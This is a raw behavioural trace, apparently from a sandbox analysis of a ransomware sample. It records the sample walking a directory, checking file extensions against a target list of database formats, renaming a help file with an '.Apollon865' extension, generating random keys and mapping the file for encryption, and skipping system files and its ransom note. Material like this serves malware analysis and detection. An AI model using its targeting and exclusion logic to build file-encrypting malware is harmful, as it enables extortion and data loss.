	[0078.123] lstrlenW (lpString="vdi") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.123] lstrlenW (lpString="vhd") returned 3
	[0078.123] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.123] lstrlenW (lpString="vhdx") returned 4
	[0078.123] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.123] lstrlenW (lpString="avhd") returned 4
	[0078.123] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.123] lstrlenW (lpString="db") returned 2
	[0078.123] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.124] lstrlenW (lpString="db2") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.124] lstrlenW (lpString="db3") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.124] lstrlenW (lpString="dbf") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.124] lstrlenW (lpString="mdf") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.124] lstrlenW (lpString="mdb") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.124] lstrlenW (lpString="sql") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.124] lstrlenW (lpString="sqlite") returned 6
	[0078.124] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.124] lstrlenW (lpString="sqlite3") returned 7
	[0078.124] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.124] lstrlenW (lpString="sqlitedb") returned 8
	[0078.124] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.124] lstrlenW (lpString="xml") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.124] lstrlenW (lpString="$er") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.124] lstrlenW (lpString="4dd") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.124] lstrlenW (lpString="4dl") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.124] lstrlenW (lpString="^^^") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.124] lstrlenW (lpString="abs") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.124] lstrlenW (lpString="abx") returned 3
	[0078.124] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.124] lstrlenW (lpString="accdb") returned 5
	[0078.124] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.124] lstrlenW (lpString="accdc") returned 5
	[0078.124] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.124] lstrlenW (lpString="accde") returned 5
	[0078.124] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.125] lstrlenW (lpString="accdr") returned 5
	[0078.125] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.125] lstrlenW (lpString="accdt") returned 5
	[0078.125] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.125] lstrlenW (lpString="accdw") returned 5
	[0078.125] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.125] lstrlenW (lpString="accft") returned 5
	[0078.125] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.125] lstrlenW (lpString="adb") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.125] lstrlenW (lpString="adb") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.125] lstrlenW (lpString="ade") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.125] lstrlenW (lpString="adf") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.125] lstrlenW (lpString="adn") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.125] lstrlenW (lpString="adp") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.125] lstrlenW (lpString="alf") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.125] lstrlenW (lpString="ask") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.125] lstrlenW (lpString="btr") returned 3
	[0078.125] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.125] lstrlenW (lpString="cat") returned 3
	[0078.141] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.141] lstrlenW (lpString="cdb") returned 3
	[0078.141] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.141] lstrlenW (lpString="ckp") returned 3
	[0078.141] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.141] lstrlenW (lpString="cma") returned 3
	[0078.141] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.141] lstrlenW (lpString="cpd") returned 3
	[0078.141] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.142] lstrlenW (lpString="dacpac") returned 6
	[0078.142] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.142] lstrlenW (lpString="dad") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.142] lstrlenW (lpString="dadiagrams") returned 10
	[0078.142] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.142] lstrlenW (lpString="daschema") returned 8
	[0078.142] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.142] lstrlenW (lpString="db-journal") returned 10
	[0078.142] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.142] lstrlenW (lpString="db-shm") returned 6
	[0078.142] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.142] lstrlenW (lpString="db-wal") returned 6
	[0078.142] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.142] lstrlenW (lpString="dbc") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.142] lstrlenW (lpString="dbs") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.142] lstrlenW (lpString="dbt") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.142] lstrlenW (lpString="dbv") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.142] lstrlenW (lpString="dbx") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.142] lstrlenW (lpString="dcb") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.142] lstrlenW (lpString="dct") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.142] lstrlenW (lpString="dcx") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.142] lstrlenW (lpString="ddl") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.142] lstrlenW (lpString="dlis") returned 4
	[0078.142] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.142] lstrlenW (lpString="dp1") returned 3
	[0078.142] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.142] lstrlenW (lpString="dqy") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.143] lstrlenW (lpString="dsk") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.143] lstrlenW (lpString="dsn") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.143] lstrlenW (lpString="dtsx") returned 4
	[0078.143] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.143] lstrlenW (lpString="dxl") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.143] lstrlenW (lpString="eco") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.143] lstrlenW (lpString="ecx") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.143] lstrlenW (lpString="edb") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.143] lstrlenW (lpString="epim") returned 4
	[0078.143] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.143] lstrlenW (lpString="fcd") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.143] lstrlenW (lpString="fdb") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.143] lstrlenW (lpString="fic") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.143] lstrlenW (lpString="flexolibrary") returned 12
	[0078.143] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.143] lstrlenW (lpString="fm5") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.143] lstrlenW (lpString="fmp") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.143] lstrlenW (lpString="fmp12") returned 5
	[0078.143] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.143] lstrlenW (lpString="fmpsl") returned 5
	[0078.143] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.143] lstrlenW (lpString="fol") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.143] lstrlenW (lpString="fp3") returned 3
	[0078.143] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.144] lstrlenW (lpString="fp4") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.144] lstrlenW (lpString="fp5") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.144] lstrlenW (lpString="fp7") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.144] lstrlenW (lpString="fpt") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.144] lstrlenW (lpString="frm") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.144] lstrlenW (lpString="gdb") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.144] lstrlenW (lpString="gdb") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.144] lstrlenW (lpString="grdb") returned 4
	[0078.144] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.144] lstrlenW (lpString="gwi") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.144] lstrlenW (lpString="hdb") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.144] lstrlenW (lpString="his") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.144] lstrlenW (lpString="ib") returned 2
	[0078.144] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.144] lstrlenW (lpString="idb") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.144] lstrlenW (lpString="ihx") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.144] lstrlenW (lpString="itdb") returned 4
	[0078.144] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.144] lstrlenW (lpString="itw") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.144] lstrlenW (lpString="jet") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.144] lstrlenW (lpString="jtx") returned 3
	[0078.144] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.144] lstrlenW (lpString="kdb") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.145] lstrlenW (lpString="kexi") returned 4
	[0078.145] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.145] lstrlenW (lpString="kexic") returned 5
	[0078.145] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.145] lstrlenW (lpString="kexis") returned 5
	[0078.145] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.145] lstrlenW (lpString="lgc") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.145] lstrlenW (lpString="lwx") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.145] lstrlenW (lpString="maf") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.145] lstrlenW (lpString="maq") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.145] lstrlenW (lpString="mar") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.145] lstrlenW (lpString="marshal") returned 7
	[0078.145] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.145] lstrlenW (lpString="mas") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.145] lstrlenW (lpString="mav") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.145] lstrlenW (lpString="maw") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.145] lstrlenW (lpString="mdbhtml") returned 7
	[0078.145] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.145] lstrlenW (lpString="mdn") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.145] lstrlenW (lpString="mdt") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.145] lstrlenW (lpString="mfd") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.145] lstrlenW (lpString="mpd") returned 3
	[0078.145] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.145] lstrlenW (lpString="mrg") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.146] lstrlenW (lpString="mud") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.146] lstrlenW (lpString="mwb") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.146] lstrlenW (lpString="myd") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.146] lstrlenW (lpString="ndf") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.146] lstrlenW (lpString="nnt") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.146] lstrlenW (lpString="nrmlib") returned 6
	[0078.146] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.146] lstrlenW (lpString="ns2") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.146] lstrlenW (lpString="ns3") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.146] lstrlenW (lpString="ns4") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.146] lstrlenW (lpString="nsf") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.146] lstrlenW (lpString="nv") returned 2
	[0078.146] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.146] lstrlenW (lpString="nv2") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.146] lstrlenW (lpString="nwdb") returned 4
	[0078.146] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.146] lstrlenW (lpString="nyf") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.146] lstrlenW (lpString="odb") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.146] lstrlenW (lpString="odb") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.146] lstrlenW (lpString="oqy") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.146] lstrlenW (lpString="ora") returned 3
	[0078.146] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.146] lstrlenW (lpString="orx") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.147] lstrlenW (lpString="owc") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.147] lstrlenW (lpString="p96") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.147] lstrlenW (lpString="p97") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.147] lstrlenW (lpString="pan") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.147] lstrlenW (lpString="pdb") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.147] lstrlenW (lpString="pdm") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.147] lstrlenW (lpString="pnz") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.147] lstrlenW (lpString="qry") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.147] lstrlenW (lpString="qvd") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.147] lstrlenW (lpString="rbf") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.147] lstrlenW (lpString="rctd") returned 4
	[0078.147] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.147] lstrlenW (lpString="rod") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.147] lstrlenW (lpString="rodx") returned 4
	[0078.147] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.147] lstrlenW (lpString="rpd") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.147] lstrlenW (lpString="rsd") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.147] lstrlenW (lpString="sas7bdat") returned 8
	[0078.147] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.147] lstrlenW (lpString="sbf") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.147] lstrlenW (lpString="scx") returned 3
	[0078.147] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.148] lstrlenW (lpString="sdb") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.148] lstrlenW (lpString="sdc") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.148] lstrlenW (lpString="sdf") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.148] lstrlenW (lpString="sis") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.148] lstrlenW (lpString="spq") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.148] lstrlenW (lpString="te") returned 2
	[0078.148] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.148] lstrlenW (lpString="teacher") returned 7
	[0078.148] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.148] lstrlenW (lpString="tmd") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.148] lstrlenW (lpString="tps") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.148] lstrlenW (lpString="trc") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.148] lstrlenW (lpString="trc") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.148] lstrlenW (lpString="trm") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.148] lstrlenW (lpString="udb") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.148] lstrlenW (lpString="udl") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.148] lstrlenW (lpString="usr") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.148] lstrlenW (lpString="v12") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.148] lstrlenW (lpString="vis") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.148] lstrlenW (lpString="vpd") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.148] lstrlenW (lpString="vvv") returned 3
	[0078.148] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.149] lstrlenW (lpString="wdb") returned 3
	[0078.149] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.149] lstrlenW (lpString="wmdb") returned 4
	[0078.149] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.149] lstrlenW (lpString="wrk") returned 3
	[0078.149] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.149] lstrlenW (lpString="xdb") returned 3
	[0078.149] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.149] lstrlenW (lpString="xld") returned 3
	[0078.149] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.149] lstrlenW (lpString="xmlff") returned 5
	[0078.149] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.149] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Apollon865") returned 69
	[0078.149] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.150] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.excel.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.150] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=350) returned 1
	[0078.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0078.151] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0078.153] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.153] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.154] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0x10c
	[0078.156] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x120000
	[0078.156] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.159] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.159] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0078.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0078.159] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.159] CloseHandle (hObject=0x10c) returned 1
	[0078.159] CloseHandle (hObject=0x15c) returned 1
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.159] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0078.160] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.160] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="..") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="windows") returned -1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="temp") returned -1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="boot") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="ntuser.dat") returned -1
